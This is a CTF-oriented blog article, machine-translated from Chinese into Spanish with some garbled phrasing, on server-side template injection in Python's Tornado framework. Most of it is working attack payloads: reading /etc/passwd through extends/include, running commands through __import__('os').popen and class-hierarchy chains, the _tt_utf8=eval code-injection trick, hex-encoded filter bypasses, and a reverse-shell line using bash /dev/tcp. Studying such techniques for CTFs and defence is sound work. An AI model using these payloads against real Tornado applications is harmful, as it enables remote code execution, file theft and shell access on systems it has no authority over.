inyección de plantilla de tornado

Introducción

La mayoría de las inyecciones de plantilla de python en ctf son matraces, y el tornado rara vez se prueba.
Había una pregunta en la taza de red antes, easy_tornado, que solo usaba handler.settings para obtener el valor clave. Así que escriba este artículo para aprender y resumir la parte rce de la inyección de plantilla de tornado.
Si desea aprender la inyección de plantillas, primero debe aprender la sintaxis de las plantillas.Los documentos oficiales son los siguientes.
https://tornado-zh.readthedocs.io/zh/latest/guide/templates.html

gramática

Sentencias de control
Al igual que en el matraz, las plantillas en tornado también se pueden usar para, si, mientras y otras sentencias de control, y también se {%%}envuelven con ellas. donde break continue también se puede usar para {%%}envolver.
Pero la diferencia es que el final es fijo {% end %}.
Las expresiones
se usan { {}}para envolver variables para
definir variables
, que se pueden asignar directamente a través de { {i=1}}, pero una mejor manera es usar set

{% set i=1 %}

Ejemplo

{% for i in range(10)%}
	{
   
   {i}}
{%end%}
{% if 1>2%}
    1
{%elif 1==2%}
    2
{%else%}
    3
{% end%}
{
   
   {i=10}}
{% while i>1%}
	{
   
   {i}}{
   
   {i=i-1}}
{%end%}

{%set i=10%}
{% while i>1%}
	{
   
   {i}}{
   
   {i=i-1}}
{%end%}

herencia de plantilla
inserte la descripción de la imagen aquí

Tornado puede usar las etiquetas extends e include para declarar qué plantillas heredar.
Aquí encontramos el primer punto que se puede aprovechar, que es la lectura de archivos.

{% extends "/etc/passwd"%}
{% include "/etc/passwd"%}

importar módulo/paquete

{% import *module* %}
{% from *x* import *y* %}

Esto parece jugar un papel importante en nuestra utilización.
Sabemos que los paquetes como os y sys no se pueden usar directamente en las plantillas, pero ¿qué pasa después de que los importemos a través de la importación? Podemos probarlo.

{% import os %}
{
   
   {os.popen("ls").read()}}

inserte la descripción de la imagen aquí

completamente bien

funciones y variables

Siga leyendo para encontrar algunas funciones o variables que se pueden usar directamente en las plantillas.
inserte la descripción de la imagen aquí
Veamos cuáles de estas nos ayudan a obtener alias
escape/xhtml_escape
tornado.escape.xhtml_escape para
escapar de una cadena y hacerla válida en HTML o XML.
Los caracteres escapados incluyen <, >, ", ', 和 &.
inserte la descripción de la imagen aquí
url_escape
tornado.escape.url_escape alias La
función es realizar la codificación de URL.

json_encode
json codifica el objeto python especificado

def json_decode(value):
    return json.loads(to_basestring(value))

alias para squeeze
tornado.escape.squeeze
Use un solo espacio en lugar de una secuencia de todos los caracteres de espacio Consulte el
código fuente para comprender

def squeeze(value):
    return re.sub(r"[\x00-\x20]+", " ", value).strip()

linkify
tornado.escape.linkify
convierte texto sin formato a HTML con enlaces
例如linkify("Hello http://tornadoweb.org!") 将返回 Hello <a href="http://tornadoweb.org">http://tornadoweb.org</a>!

Las funciones anteriores parecen ser de poca utilidad, ya que la mayoría de ellas codifican en lugar de decodificar.
datetime
El módulo de fecha y hora de Python
como { { datetime.date(2022,3,7)}} devuelve el objeto RequestHandler actual del
controlador
2022-03-07 , que también es la clase base para el procesamiento de solicitudes HTTP en tornado.
Entonces podemos usar ¿Qué hay en este objeto? En cuanto a las cosas, depende de su código fuente . El contenido es un poco voluminoso.
Puede ver en él que el handler.settings utilizado antes
inserte la descripción de la imagen aquí
imprime todo su contenido invocable a través de dir de la siguiente manera

['SUPPORTED_METHODS', '_INVALID_HEADER_CHAR_RE', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_break_cycles', '_clear_representation_headers', '_convert_header_value', '_decode_xsrf_token', '_execute', '_get_argument', '_get_arguments', '_get_raw_xsrf_token', '_handle_request_exception', '_initialize', '_log', '_remove_control_chars_regex', '_request_summary', '_stream_request_body', '_template_loader_lock', '_template_loaders', '_transforms', '_ui_method', '_ui_module', '_unimplemented_method', 'add_header', 'check_etag_header', 'check_xsrf_cookie', 'clear', 'clear_all_cookies', 'clear_cookie', 'clear_header', 'compute_etag', 'cookies', 'create_signed_value', 'create_template_loader', 'current_user', 'data_received', 'decode_argument', 'delete', 'detach', 'finish', 'flush', 'get', 'get_argument', 'get_arguments', 'get_body_argument', 'get_body_arguments', 'get_browser_locale', 'get_cookie', 'get_current_user', 'get_login_url', 'get_query_argument', 'get_query_arguments', 'get_secure_cookie', 'get_secure_cookie_key_version', 'get_status', 'get_template_namespace', 'get_template_path', 'get_user_locale', 'head', 'initialize', 'locale', 'log_exception', 'on_connection_close', 'on_finish', 'options', 'patch', 'path_args', 'path_kwargs', 'post', 'prepare', 'put', 'redirect', 'render', 'render_embed_css', 'render_embed_js', 'render_linked_css', 'render_linked_js', 'render_string', 'require_setting', 'reverse_url', 'send_error', 'set_cookie', 'set_default_headers', 'set_etag_header', 'set_header', 'set_secure_cookie', 'set_status', 'settings', 'static_url', 'write', 'write_error', 'xsrf_form_html', 'xsrf_token']

Esto no aparece primero, primero establezcamos la sintaxis de la inyección de plantilla de matraz anterior.

{
   
   {"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{
   
   {"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class

Después de la prueba, se encuentra que todavía son completamente utilizables, después de todo, no están relacionados con las plantillas en python.
Estamos mirando a este controlador. Dado que también es una clase, ¿puede llamar directamente al __init__método de inicialización?

{
   
   {handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

No hay problema.
Es decir, sin filtrado, la inyección de plantilla de tornado y matraz es aproximadamente la misma.
Si hay filtrado, entonces podemos considerar la gran cantidad de métodos invocables antes.

{
   
   {handler.get_argument('yu')}}   //比如传入?yu=123则返回值为123
{
   
   {handler.cookies}}  //返回cookie值
{
   
   {handler.get_cookie("data")}}  //返回cookie中data的值
{
   
   {handler.decode_argument('\u0066')}}  //返回f,其中\u0066为f的unicode编码
{
   
   {handler.get_query_argument('yu')}}  //比如传入?yu=123则返回值为123
{
   
   {handler.settings}}  //比如传入application.settings中的值

其他的很多方法也是可以获得一些字符串,这里就不一一列出了。

solicitud

{
   
   {request.method}}  //返回请求方法名  GET|POST|PUT...
{
   
   {request.query}}  //传入?a=123 则返回a=123
{
   
   {request.arguments}}   //返回所有参数组成的字典
{
   
   {request.cookies}}   //同{
   
   {handler.cookies}}
.
.
.

Las dos funciones principales mencionadas anteriormente son obtener cadenas, que pueden omitir el filtrado de cadenas.
Pero, ¿y si se _filtra?
globals()
La función globals() en python devuelve todas las variables globales en la ubicación actual como un diccionario.
Antes en matraz, encontraremos que esto no se puede llamar directamente. Echemos un vistazo a la situación en tornado.
inserte la descripción de la imagen aquí
Podemos encontrar que se puede usar directamente en tornado. Lo que nos emociona es que podemos llamar directamente a algunos métodos iniciales de python. Por ejemplo __import__、eval、print、hex等
, parece que nuestro payload puede ser más conciso.

{
   
   {__import__("os").popen("ls").read()}}
{
   
   {eval('__import__("os").popen("ls").read()')}}

El segundo método es más para el propósito que acabamos de mencionar, pasando por alto el _filtro correcto

{
   
   {eval(handler.get_argument('yu'))}}
?yu=__import__("os").popen("ls").read()

inserte la descripción de la imagen aquí
Debido a que no hay filtros en tornado, .es un poco difícil para nosotros eludir el filtrado.
Y si desea omitir el filtrado de comillas, puede cambiar la carga útil anterior al siguiente formato

{
   
   {eval(handler.get_argument(request.method))}}

然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理。

Lo último es pasarlo por ()alto. En tornado, la plantilla de procesamiento principal es el archivo template.py debajo de ella.
La parte central del procesamiento es la siguiente
inserte la descripción de la imagen aquí
: podemos ingresar el contenido de manera casual y ver el contenido de self.code.
Por ejemplo, pase { {2-1}} para
imprimir el resultado de la siguiente manera

def _tt_execute():
    _tt_buffer = []
    _tt_tmp = 2-1
    if isinstance(_tt_tmp, _tt_string_types): 
        _tt_tmp = _tt_utf8(_tt_tmp)
    else: 
        _tt_tmp = _tt_utf8(str(_tt_tmp))
    _tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp))
    _tt_append(_tt_tmp)
    return _tt_utf8('').join(_tt_buffer)

De esta forma, podemos hacer que _tt_utf8 sea el nombre de la función que queremos ejecutar. No olvide agregar saltos de línea y sangrar con cuatro líneas en blanco.

{
   
   {'print(123)'%0a    _tt_utf8=eval}}

Después de probar esto, se encuentra que el código sí eval('print(123)')se ejecuta, pero en el lado del servidor, y la página que vemos mostrará un error.
La razón de esto es que estas dos líneas de código se usan juntas

 _tt_tmp = _tt_utf8(_tt_tmp)
 _tt_utf8(xhtml_escape(_tt_tmp))
# xhtml_escape可以看做是一个html编码的函数

equivalente a venir

_tt_tmp=eval("print(123)")     #print返回值是None
eval(xhtml_escape(None))     #eval中为空导致报错

Entonces tenemos que encontrar una manera de evitar esto.
Una mejor manera es usar raw.Después de la prueba, se encuentra que el código se eliminará después de usar la sintaxis raw _tt_utf8(xhtml_escape(_tt_tmp)), por lo que no tenemos que preocuparnos por la situación anterior.
Hay un último problema, return _tt_utf8('').join(_tt_buffer)si _tt_utf8asignamos un valor en la última línea de código eval, entonces este lugar seguirá reportando un error.
Pero también es muy simple de resolver y _tt_utf8luego asignar una función que no informe un error, como str.

data={% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

Descubrimos que el código anterior todavía existe (), pero en una cadena, lo que nos facilita mucho la solución.
En su lugar, podemos usar la codificación hexadecimal o unicode, el siguiente código puede ayudarnos a generar hexadecimal directamente.

print(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('ls').read()"]))

Debido a que los caracteres que usamos están básicamente en el rango del código ascii, por lo que si la cadena se convierte a unicode, el código \u00+ascii se usa directamente

print(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('ls').read()"]).replace('\\x','\\u00'))

Resumir

Cargas útiles que se pueden usar sin filtrar en tornado

1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}

2、 直接使用函数
{
   
   {__import__("os").popen("ls").read()}}
{
   
   {eval('__import__("os").popen("ls").read()')}}

3、导入库
{% import os %}{
   
   {os.popen("ls").read()}}

4、flask中的payload大部分也通用
{
   
   {"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{
   
   {"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class

5、利用tornado特有的对象或者方法
{
   
   {handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{
   
   {handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}

6、利用tornado模板中的代码注入
{% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

Situación del filtro

1、过滤一些关键字如import、os、popen等(过滤引号该方法同样适用)
{
   
   {eval(handler.get_argument(request.method))}}
然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理


2、过滤了括号未过滤引号
{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

3、过滤括号及引号
下面这种方法无回显,适用于反弹shell,为什么用exec不用eval呢?
是因为eval不支持多行语句。
__import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&%0a"""

4、其他
通过参考其他师傅的文章学到了下面的方法(两个是一起使用的)
{
   
   {handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{
   
   {handler.application.default_router.named_rules['345'].target('/readflag').read()}}

Artículo de referencia

https://www.qcrane.top/2021/11/29/N1CTF%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/#más

https://tornado-zh.readthedocs.io/zh/latest/guide/templates.html

https://www.cnblogs.com/guohan/p/6728188.html

Supongo que te gusta

Origin blog.csdn.net/miuzzx/article/details/123329244
Recomendado
Clasificación